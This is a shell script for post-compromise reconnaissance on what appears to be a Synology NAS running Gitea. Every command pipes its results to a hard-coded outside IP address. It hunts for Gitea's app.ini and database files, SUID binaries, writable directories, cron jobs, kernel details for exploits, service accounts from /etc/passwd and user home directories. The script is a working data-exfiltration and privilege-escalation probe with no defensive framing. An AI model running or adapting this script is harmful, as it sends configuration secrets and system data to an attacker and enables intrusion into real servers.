#!/bin/sh # Find actual gitea config find /volume1/@appdata/gitea -name 'app.ini' -type f 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/find_ini find /volume1/@apphome/gitea -name 'app.ini' -type f 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/find_ini2 find /var/packages/gitea -name 'app.ini' -type f 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/find_ini3 # Synology tools ls -la /usr/syno/bin/ 2>&1 | head -20 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/syno_bin which synosudo 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/synosudo_which ls -la /usr/syno/bin/synosudo 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/synosudo_ls # SUID bins find / -perm -4000 -type f -ls 2>&1 | head -30 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/suid_full # Writable dirs find /tmp -type d -writable 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/writable_tmp ls -la /volume1/@apptemp/gitea/ 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/apptemp # Gitea DB find /volume1/@appdata/gitea -name 'gitea.db' -type f 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/find_db find /volume1/@appdata/gitea -name '*.db' -type f 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/find_all_db ls -la /volume1/@appdata/gitea/data/ 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/gitea_data # Volume1 structure ls -la /volume1/@appdata/ 2>&1 | head -20 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/appdata_ls # Check if we can write to webroot ls -la /volume1/@apphome/gitea/ 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/apphome ls -la /volume1/web/ 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/web # Kernel exploits uname -a 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/uname cat /proc/version 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/proc_version # Cron cat /etc/crontab 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/crontab crontab -l 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cron_user # Syno sc- accounts cat /etc/passwd | grep sc- | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/sc_accounts # Check other git-shell users homes ls -la /volume1/homes/ 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/homes